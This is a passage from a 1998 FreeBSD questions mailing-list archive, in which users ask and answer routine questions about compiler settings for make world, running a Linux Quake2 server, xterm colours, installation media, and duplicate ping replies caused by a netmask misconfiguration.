glenn@bellsouth.net) Received: from gforce.bellsouth.net (localhost [127.0.0.1]) by gforce.bellsouth.net (8.8.8/8.8.8) with ESMTP id VAA14816; Sat, 11 Apr 1998 21:59:18 -0500 (CDT) (envelope-from glenn@gforce.bellsouth.net) Message-Id: <199804120259.VAA14816@gforce.bellsouth.net> X-Mailer: exmh version 2.0.2 2/24/98 To: Doug White cc: freebsd-questions@FreeBSD.ORG From: Glenn Johnson Subject: Re: specifying compiler for "make world" In-reply-to: Your message of "Fri, 10 Apr 1998 23:31:48 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 11 Apr 1998 21:59:15 -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Fri, 10 Apr 1998, Glenn Johnson wrote: > > > Now I realize that doing a "make world" with egcs or gcc-2.8 is probably > > asking for trouble, but how would I specify to the make file(s) that I want to > > use a different compiler? Thanks. > > And Doug White Replied: > > A shot in the dark guess -- set the CC variable? > Well, I should have mentioned that I tried that. When cc1 is executed however, it goes back to /usr/libexec/cc1, which is associated with /usr/bin/cc. I noticed that the top-level Makefile of /usr/src defines GCC_EXEC_PREFIX and COMPILER_PATH variables. I tried playing with these but could not get the desired behavior. I just wanted to try out the -mpentiumpro flag with egcs which probably won't help much anyway, it was just an experiment. Thanks. -- Glenn Johnson gljohns@bellsouth.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 20:21:28 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA05081 for freebsd-questions-outgoing; Sat, 11 Apr 1998 20:21:28 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ha1.rdc1.sfba.home.com (siteadm@ha1.rdc1.sfba.home.com [24.0.0.66]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA05071 for ; Sat, 11 Apr 1998 20:21:23 -0700 (PDT) (envelope-from ludwigp@bigfoot.com) Received: from speedy.plstn1.sfba.home.com ([24.1.82.47]) by ha1.rdc1.sfba.home.com (Netscape Mail Server v2.02) with SMTP id AAA23481; Sat, 11 Apr 1998 19:23:46 -0700 Message-Id: <3.0.3.32.19980411192116.0070e184@mail.plstn1.sfba.home.com> X-Sender: ludwigp@mail.plstn1.sfba.home.com X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.3 (32) Date: Sat, 11 Apr 1998 19:21:16 -0700 To: El Diablo , freebsd-questions@FreeBSD.ORG From: Ludwig Pummer Subject: Re: quake2 In-Reply-To: <352F1FC6.83496924@wt.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 02:46 AM 4/11/98 -0500, El Diablo wrote: >is it possible to run the linux binary for quake2 under bsd? i not >wanting to play the game but run it as a server in CLI mode. when i try >to execute it this is what i get: This works great, especially if you've got v3.13 (or 3.12) or higher. Depending on the weapons they fired, 5 users used between 20% and 46% of a P100. ># ./quake2 >ELF interpreter /compat/linux/lib/ld-linux.so.1 not found >Abort trap ># I'm guessing you need to install the linux compatibility libraries (try getting the package). I installed linux compatibility for 2.2.1-R and kept it through my upgrade to 2.2.6-R and that's what I use for my quake2 server. --Ludwig Pummer ludwigp@bigfoot.com ludwigp@chipweb.ml.org ICQ UIN: 692441 http://chipweb.home.ml.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 20:24:02 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA05534 for freebsd-questions-outgoing; Sat, 11 Apr 1998 20:24:02 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.hsonline.net (mail.hsonline.net [205.243.33.25]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id UAA05496 for ; Sat, 11 Apr 1998 20:23:56 -0700 (PDT) (envelope-from zamy27@hsonline.net) Received: from hsonline.net [208.10.214.140] by mail.hsonline.net with ESMTP (SMTPD32-4.03) id A15DB1600AA; Sat, 11 Apr 1998 22:30:05 EST Message-ID: <352FC3CC.8210546C@hsonline.net> Date: Sat, 11 Apr 1998 22:26:04 +0300 From: Scott Myron X-Mailer: Mozilla 4.03 [en] (Win95; I) MIME-Version: 1.0 To: "freebsd-questions@FreeBSD.org" Subject: 2 more simple questions... Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG ok, I finally got xwindows all setup and running fine, now I want to know, how to i change the color of the backrounds in the xterms? right now they are white, and I'd like them to be black. also, I have the walnut creek distro of FreeBSD 2.2.5 on CD. I want to know if netscape came with it so I don't have to download the whole thing. it's a huge download. if it came with it, please tell me where the file is located on the cd. thanks again.. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 20:32:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA06863 for freebsd-questions-outgoing; Sat, 11 Apr 1998 20:32:40 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from uniqsite.uniqsite.com. (timm@uniqsite.com [206.14.149.33]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA06855 for ; Sat, 11 Apr 1998 20:32:35 -0700 (PDT) (envelope-from timm@uniqsite.com) Received: from localhost (timm@localhost) by uniqsite.uniqsite.com. (8.8.7/8.8.7) with SMTP id UAA00438 for ; Sat, 11 Apr 1998 20:32:29 -0700 (PDT) (envelope-from timm@uniqsite.com) Date: Sat, 11 Apr 1998 20:32:29 -0700 (PDT) From: Tim Moony Reply-To: Tim Moony To: FreeBSD Questions Forum Subject: What the hell is DUP! Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Can someone explains this? I have two 2.2.6 machines connected by a 16bit ed0 card and the other 32bit fxp0 card: PING nic2.xxxxxxxx.com (206.14.149.42): 56 data bytes 64 bytes from 206.14.149.41: icmp_seq=0 ttl=255 time=0.295 ms 64 bytes from 206.14.149.42: icmp_seq=0 ttl=255 time=1.155 ms (DUP!) 64 bytes from 206.14.149.41: icmp_seq=1 ttl=255 time=0.204 ms 64 bytes from 206.14.149.42: icmp_seq=1 ttl=255 time=0.537 ms (DUP!) --- nic2.xxxxxxxx.com ping statistics --- 2 packets transmitted, 2 packets received, +2 duplicates, 0% packet loss round-trip min/avg/max/stddev = 0.204/0.548/1.155/0.371 ms What is "DUP?" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 20:33:57 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA07155 for freebsd-questions-outgoing; Sat, 11 Apr 1998 20:33:57 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from minotaur.labyrinth.net.au (minotaur.labyrinth.net.au [203.9.148.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA07145 for ; Sat, 11 Apr 1998 20:33:50 -0700 (PDT) (envelope-from ashley@labyrinth.net.au) Received: (from uucp@localhost) by minotaur.labyrinth.net.au (8.8.6/8.8.6) id NAA05472; Sun, 12 Apr 1998 13:33:30 +1000 (EST) Received: from minerva-as34.labyrinth.net.au(203.23.74.34), claiming to be "insomnia.home.bsd" via SMTP by minotaur.labyrinth.net.au, id smtpdAAAa05457; Sun Apr 12 13:33:24 1998 Received: (from ashley@localhost) by insomnia.home.bsd (8.8.8/8.8.8) id NAA10352; Sun, 12 Apr 1998 13:33:22 +1000 (EST) (envelope-from ashley) Message-ID: <19980412133322.A10340@insomnia.home.bsd> Date: Sun, 12 Apr 1998 13:33:22 +1000 From: ashley To: Scott Myron , "freebsd-questions@FreeBSD.org" Subject: Re: 2 more simple questions... References: <352FC3CC.8210546C@hsonline.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.91 In-Reply-To: <352FC3CC.8210546C@hsonline.net>; from Scott Myron on Sat, Apr 11, 1998 at 10:26:04PM +0300 X-Operating-System: FreeBSD 2.2.6-STABLE Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG to change the background and foreground of the xterm do 'xterm -bg black -fg white' for a more complete set of options read the man page (man xterm). it has lots of different options. i don't think netscape comes with the 2.2.5 cd-rom, but check in packages/All on the cd. Ciao. Ashley. On Sat, Apr 11, 1998 at 10:26:04PM +0300, Scott Myron wrote: > ok, I finally got xwindows all setup and running fine, now I want to > know, how to i change the color of the backrounds in the xterms? right > now they are white, and I'd like them to be black. also, I have the > walnut creek distro of FreeBSD 2.2.5 on CD. I want to know if netscape > came with it so I don't have to download the whole thing. it's a huge > download. if it came with it, please tell me where the file is located > on the cd. thanks again.. > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message -- ================================================================= ashley@labyrinth.net.au http://www.labyrinth.net.au/~pirovich "When you have nothing to say, say nothing." Charles Caleb Colton ================================================================= To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 20:44:41 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA08375 for freebsd-questions-outgoing; Sat, 11 Apr 1998 20:44:41 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from ultra1.dreamscape.com (ultra1.dreamscape.com [206.64.128.7]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA08370 for ; Sat, 11 Apr 1998 20:44:30 -0700 (PDT) (envelope-from mike2609@dreamscape.com) Received: from dreamscape.com (uc22.dreamscape.com [206.114.185.87]) by ultra1.dreamscape.com (8.8.5/8.8.4) with ESMTP id XAA11940 for ; Sat, 11 Apr 1998 23:44:37 -0400 (EDT) Message-ID: <3530389B.4AE8559A@dreamscape.com> Date: Sat, 11 Apr 1998 23:44:27 -0400 From: Michael J Streeter X-Mailer: Mozilla 4.04 [en] (Win95; I) MIME-Version: 1.0 To: freebsd-questions@FreeBSD.ORG Subject: Where is Kernel Source on Walnut Ck CDs Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm using the Walnut Creek distribution of 2.2.5 and cannot get the kernel source off the cds. I followed up on the errata as listed for page 242 (_The Complete FreeBSD_) which changed the source from /cdrom/dists/src/sys.* to /cdrom/src/sys.* however, there are no files that match this. The closest thing I can find are ssys* files. Any suggestions as to where I can find the kernel source on these cds? Thanks.... Mike To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 20:46:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA08555 for freebsd-questions-outgoing; Sat, 11 Apr 1998 20:46:26 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA08485 for ; Sat, 11 Apr 1998 20:46:20 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id NAA21990; Sun, 12 Apr 1998 13:15:28 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id NAA24658; Sun, 12 Apr 1998 13:15:24 +0930 (CST) (envelope-from grog) Message-ID: <19980412131524.E24376@freebie.lemis.com> Date: Sun, 12 Apr 1998 13:15:24 +0930 From: Greg Lehey To: Tim Moony , FreeBSD Questions Forum Subject: Re: What the hell is DUP! References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.91i In-Reply-To: ; from Tim Moony on Sat, Apr 11, 1998 at 08:32:29PM -0700 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 11 April 1998 at 20:32:29 -0700, Tim Moony wrote: > Can someone explains this? I have two 2.2.6 machines connected by a > 16bit ed0 card and the other 32bit fxp0 card: > > > PING nic2.xxxxxxxx.com (206.14.149.42): 56 data bytes ^^^^^^^^^^^^^^^^^ This name should be n42.cs32a.value.net. > 64 bytes from 206.14.149.41: icmp_seq=0 ttl=255 time=0.295 ms > 64 bytes from 206.14.149.42: icmp_seq=0 ttl=255 time=1.155 ms (DUP!) > 64 bytes from 206.14.149.41: icmp_seq=1 ttl=255 time=0.204 ms > 64 bytes from 206.14.149.42: icmp_seq=1 ttl=255 time=0.537 ms (DUP!) > > --- nic2.xxxxxxxx.com ping statistics --- > 2 packets transmitted, 2 packets received, +2 duplicates, 0% packet loss > round-trip min/avg/max/stddev = 0.204/0.548/1.155/0.371 ms > > What is "DUP?" It's short for "duplicate". It's telling you that two machines are replying to the ping. Assuming you haven't changed anything else in the example, n41.cs32a.value.net (206.14.149.41) is misconfigured and is answering to ICMP messages which have nothing to do with it. Possibly it has had the address 206.14.149.42 added as an alias. Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 20:54:22 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id UAA09639 for freebsd-questions-outgoing; Sat, 11 Apr 1998 20:54:22 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from gforce.bellsouth.net (host-209-138-35-47.msy.bellsouth.net [209.138.35.47]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id UAA09622 for ; Sat, 11 Apr 1998 20:54:07 -0700 (PDT) (envelope-from glenn@bellsouth.net) Received: from gforce.bellsouth.net (localhost [127.0.0.1]) by gforce.bellsouth.net (8.8.8/8.8.8) with ESMTP id WAA13786; Sat, 11 Apr 1998 22:51:28 -0500 (CDT) (envelope-from glenn@gforce.bellsouth.net) Message-Id: <199804120351.WAA13786@gforce.bellsouth.net> X-Mailer: exmh version 2.0.2 2/24/98 To: Doug White cc: freebsd-questions@FreeBSD.ORG From: Glenn Johnson Subject: Re: specifying compiler for "make world" In-reply-to: Your message of "Fri, 10 Apr 1998 23:31:48 PDT." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 11 Apr 1998 22:51:26 -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > On Fri, 10 Apr 1998, Glenn Johnson wrote: > > > Now I realize that doing a "make world" with egcs or gcc-2.8 is probably > > asking for trouble, but how would I specify to the make file(s) that I want to > > use a different compiler? Thanks. > > And Doug White Replied: > > A shot in the dark guess -- set the CC variable? > Well, I should have mentioned that I tried that. When cc1 is executed however, it goes back to /usr/libexec/cc1, which is associated with /usr/bin/cc. I noticed that the top-level Makefile of /usr/src defines GCC_EXEC_PREFIX and COMPILER_PATH variables. I tried playing with these but could not get the desired behavior. I just wanted to try out the -mpentiumpro flag with egcs which probably won't help much anyway, it was just an experiment. Thanks. ------------------------------------- After I sent this I cleaned out my obj tree, I had the NOCLEAN flag set, and now it works. Sorry for the wasted bandwidth. -- Glenn Johnson gljohns@bellsouth.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 21:11:04 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA11363 for freebsd-questions-outgoing; Sat, 11 Apr 1998 21:11:04 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from jason02.u.washington.edu (root@jason02.u.washington.edu [140.142.76.8]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA11352 for ; Sat, 11 Apr 1998 21:10:59 -0700 (PDT) (envelope-from jcwells@u.washington.edu) Received: from saul7.u.washington.edu (root@saul7.u.washington.edu [140.142.82.2]) by jason02.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.05) with ESMTP id VAA27864; Sat, 11 Apr 1998 21:10:58 -0700 Received: from s8-37-26.student.washington.edu (S8-37-26.student.washington.edu [128.208.37.26]) by saul7.u.washington.edu (8.8.4+UW97.07/8.8.4+UW97.04) with SMTP id VAA07908; Sat, 11 Apr 1998 21:10:57 -0700 (PDT) Date: Sat, 11 Apr 1998 20:09:46 -0700 (PDT) From: "Jason C. Wells" X-Sender: jason@s8-37-26.student.washington.edu Reply-To: "Jason C. Wells" To: Diana Roman cc: questions@FreeBSD.ORG Subject: Re: Floppy Disk Install In-Reply-To: <19980412015129.AAA3280@dcr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 11 Apr 1998, Diana Roman wrote: > Hi there. > > I'm trying to install from a set of floppies I made of the bin directory. > > When I clicked on the files 'checksum.md5', 'install.sh', and 'bin.mtree', > (at ftp://www.freebsd.org) they opened up in the browser directly, as text. > So I chose 'save as file...' from the File menu in Internet Explorer, and > saved them as text files, renamed them with the proper extensions... Is > this correct? Also, I can't open bin.au - it gives me an error message > saying that the sound file can't be played.... 'Au' is a sound format in some cases. In this case it is not. If you noticed, there is a file named 'bin.at' before 'bin.au' and a file 'bin.av' after 'bin.au'. 'Bin.au' is just a file in a series of files. These files are NOT ment to be "clicked on" in windows. Doing so will yield you nothing. Do not rename files with an extension. To save the files without them opening up in your browser windows, right click over the link, then choose "save as". I am guessing that you should re-dowload all of the files, but I might be wrong on this. > Now, I get through the installation process up to the Media menu and select > 'install from floppies', at which point it prompts me to insert a floppy in > a:. So I insert the floppy that contains checksum.md5 and bin.aa through > bin.af, hit return, and get the following.... > > Message: Couldn't extract the following distributions. This may be because > they were not available on the installation media you've chosen. > bin doc manpages problibs dict info ports > 100% > > What do I do??? : ( Follow the instructions at: http://www.freebsd.org/handbook/handbook14.html#14 Note that the floppies must be formatted. Note that the distributions must be in a directory on the floppy. Also, you have chosen a seriously large portion of the OS to install from floppies. It could take you a long time. I recommend that you do a network installation or a CDROM installation if you can spring $40 for the disc and the book. The first paragraph of the instructions claims that floppy install is the hard way for a reason. Even installing a minimal portion of the OS can take 50 floppies. Uggh. Have fun, | Stop warning me about the latest virus. Learn more... Jason Wells | http://ciac.llnl.gov/ciac/CIACHoaxes.html To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 21:20:52 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA12321 for freebsd-questions-outgoing; Sat, 11 Apr 1998 21:20:52 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw01.execpc.com (mailgw01.execpc.com [169.207.16.9]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA12315 for ; Sat, 11 Apr 1998 21:20:46 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from darkstar.connect.com (adarlon-50.mdm.mke.execpc.com [169.207.75.178]) by mailgw01.execpc.com (8.8.8) id EAA11544; Sun, 12 Apr 1998 04:20:34 GMT Received: from darkstar.connect.com (localhost [127.0.0.1]) by darkstar.connect.com (8.8.8/8.8.8) with ESMTP id XAA22219; Sat, 11 Apr 1998 23:20:22 -0500 (CDT) Message-Id: <199804120420.XAA22219@darkstar.connect.com> Date: Sat, 11 Apr 1998 23:20:15 -0500 (CDT) From: Frank Pawlak Subject: Re: 2 more simple questions... To: zamy27@hsonline.net cc: freebsd-questions@FreeBSD.ORG In-Reply-To: <352FC3CC.8210546C@hsonline.net> MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 11 Apr, Scott Myron wrote: > ok, I finally got xwindows all setup and running fine, now I want to > know, how to i change the color of the backrounds in the xterms? right > now they are white, and I'd like them to be black. also, I have the > walnut creek distro of FreeBSD 2.2.5 on CD. I want to know if netscape > came with it so I don't have to download the whole thing. it's a huge > download. if it came with it, please tell me where the file is located > on the cd. thanks again.. > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message First off what window manager are yopu running? If it is fvwm you might try the following. Exec "I" exec rxvt -font 9x15 -fg while -bg Balck -geometry 80x20+224+69 & That all goes on one line in the system.fvwmrc file. www.PLiG.org ahs links to wmgrs that contain man pages and sample config files. Netscape is a download. ftp.netscape.com If you have Linux emulation installed, then you can use the Linux version, for which there a some plugins available. I have had good luck with the Linux version. Frank -- ----------------------------- "At no time is freedom of speech more precious then when a man hits his thumb with a hammer." -- Marshall Lumsden To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 21:23:48 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA12777 for freebsd-questions-outgoing; Sat, 11 Apr 1998 21:23:48 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from uniqsite.uniqsite.com. (timm@uniqsite.com [206.14.149.33]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA12759 for ; Sat, 11 Apr 1998 21:23:40 -0700 (PDT) (envelope-from timm@uniqsite.com) Received: from localhost (timm@localhost) by uniqsite.uniqsite.com. (8.8.7/8.8.7) with SMTP id VAA00290; Sat, 11 Apr 1998 21:23:27 -0700 (PDT) (envelope-from timm@uniqsite.com) Date: Sat, 11 Apr 1998 21:23:27 -0700 (PDT) From: Tim Moony To: Greg Lehey cc: FreeBSD Questions Forum Subject: Re: What the hell is DUP! In-Reply-To: <19980412131524.E24376@freebie.lemis.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 12 Apr 1998, Greg Lehey wrote: > > Can someone explains this? I have two 2.2.6 machines connected by a > > 16bit ed0 card and the other 32bit fxp0 card: > > > > > > PING nic2.xxxxxxxx.com (206.14.149.42): 56 data bytes > ^^^^^^^^^^^^^^^^^ > This name should be n42.cs32a.value.net. > > > 64 bytes from 206.14.149.41: icmp_seq=0 ttl=255 time=0.295 ms > > 64 bytes from 206.14.149.42: icmp_seq=0 ttl=255 time=1.155 ms (DUP!) > > 64 bytes from 206.14.149.41: icmp_seq=1 ttl=255 time=0.204 ms > > 64 bytes from 206.14.149.42: icmp_seq=1 ttl=255 time=0.537 ms (DUP!) > > > > --- nic2.xxxxxxxx.com ping statistics --- > > 2 packets transmitted, 2 packets received, +2 duplicates, 0% packet loss > > round-trip min/avg/max/stddev = 0.204/0.548/1.155/0.371 ms > > > > What is "DUP?" > > It's short for "duplicate". It's telling you that two machines are > replying to the ping. Assuming you haven't changed anything else in > the example, n41.cs32a.value.net (206.14.149.41) is misconfigured and > is answering to ICMP messages which have nothing to do with it. > Possibly it has had the address 206.14.149.42 added as an alias. > > Greg > > Is my ISP lying to me? They told me when I first signed up with them that I get to use the IPs from 206.14.149.33-63 any way I want. Should I complain to them? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 21:29:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA13587 for freebsd-questions-outgoing; Sat, 11 Apr 1998 21:29:47 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA13580 for ; Sat, 11 Apr 1998 21:29:41 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id NAA22046; Sun, 12 Apr 1998 13:59:38 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id NAA24945; Sun, 12 Apr 1998 13:59:38 +0930 (CST) (envelope-from grog) Message-ID: <19980412135937.F24376@freebie.lemis.com> Date: Sun, 12 Apr 1998 13:59:37 +0930 From: Greg Lehey To: Tim Moony Cc: FreeBSD Questions Forum Subject: Re: What the hell is DUP! References: <19980412131524.E24376@freebie.lemis.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.91i In-Reply-To: ; from Tim Moony on Sat, Apr 11, 1998 at 09:23:27PM -0700 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 11 April 1998 at 21:23:27 -0700, Tim Moony wrote: > > > On Sun, 12 Apr 1998, Greg Lehey wrote: > >>> Can someone explains this? I have two 2.2.6 machines connected by a >>> 16bit ed0 card and the other 32bit fxp0 card: >>> >>> >>> PING nic2.xxxxxxxx.com (206.14.149.42): 56 data bytes >> ^^^^^^^^^^^^^^^^^ >> This name should be n42.cs32a.value.net. >> >>> 64 bytes from 206.14.149.41: icmp_seq=0 ttl=255 time=0.295 ms >>> 64 bytes from 206.14.149.42: icmp_seq=0 ttl=255 time=1.155 ms (DUP!) >>> 64 bytes from 206.14.149.41: icmp_seq=1 ttl=255 time=0.204 ms >>> 64 bytes from 206.14.149.42: icmp_seq=1 ttl=255 time=0.537 ms (DUP!) >>> >>> --- nic2.xxxxxxxx.com ping statistics --- >>> 2 packets transmitted, 2 packets received, +2 duplicates, 0% packet loss >>> round-trip min/avg/max/stddev = 0.204/0.548/1.155/0.371 ms >>> >>> What is "DUP?" >> >> It's short for "duplicate". It's telling you that two machines are >> replying to the ping. Assuming you haven't changed anything else in >> the example, n41.cs32a.value.net (206.14.149.41) is misconfigured and >> is answering to ICMP messages which have nothing to do with it. >> Possibly it has had the address 206.14.149.42 added as an alias. > > Is my ISP lying to me? They told me when I first signed up with them that > I get to use the IPs from 206.14.149.33-63 any way I want. > > Should I complain to them? No, I don't see any problem with your ISP. I'm sure when they said "any way you want", they meant "any way that works". In particular, though, you can't assign another name without first registering it. Well, you can, but it won't work. Any I suspect that you might have set your broadcast address on IP 41 incorrectly. If that's your block, your broadcast address should be 206.14.149.63, and your net mask should be 255.255.255.192. Is that what you have? Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 21:51:16 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA15122 for freebsd-questions-outgoing; Sat, 11 Apr 1998 21:51:16 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from uniqsite.uniqsite.com. (timm@uniqsite.com [206.14.149.33]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA15040 for ; Sat, 11 Apr 1998 21:51:05 -0700 (PDT) (envelope-from timm@uniqsite.com) Received: from localhost (timm@localhost) by uniqsite.uniqsite.com. (8.8.7/8.8.7) with SMTP id VAA00449; Sat, 11 Apr 1998 21:50:46 -0700 (PDT) (envelope-from timm@uniqsite.com) Date: Sat, 11 Apr 1998 21:50:46 -0700 (PDT) From: Tim Moony To: Greg Lehey cc: FreeBSD Questions Forum Subject: Re: What the hell is DUP! In-Reply-To: <19980412135937.F24376@freebie.lemis.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sun, 12 Apr 1998, Greg Lehey wrote: > > No, I don't see any problem with your ISP. I'm sure when they said > "any way you want", they meant "any way that works". In particular, > though, you can't assign another name without first registering it. > Well, you can, but it won't work. Any I suspect that you might have > set your broadcast address on IP 41 incorrectly. If that's your > block, your broadcast address should be 206.14.149.63, and your net > mask should be 255.255.255.192. Is that what you have? > > Greg > > Greg: I tried to changed the netmask from 206.14.149.32 to 255.255.255.192 and that worked. All this time I've been confused by netmask and broadcast address, is there any place where I can get super-charged? A book maybe. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 21:52:48 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA15326 for freebsd-questions-outgoing; Sat, 11 Apr 1998 21:52:48 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA15315 for ; Sat, 11 Apr 1998 21:52:36 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) 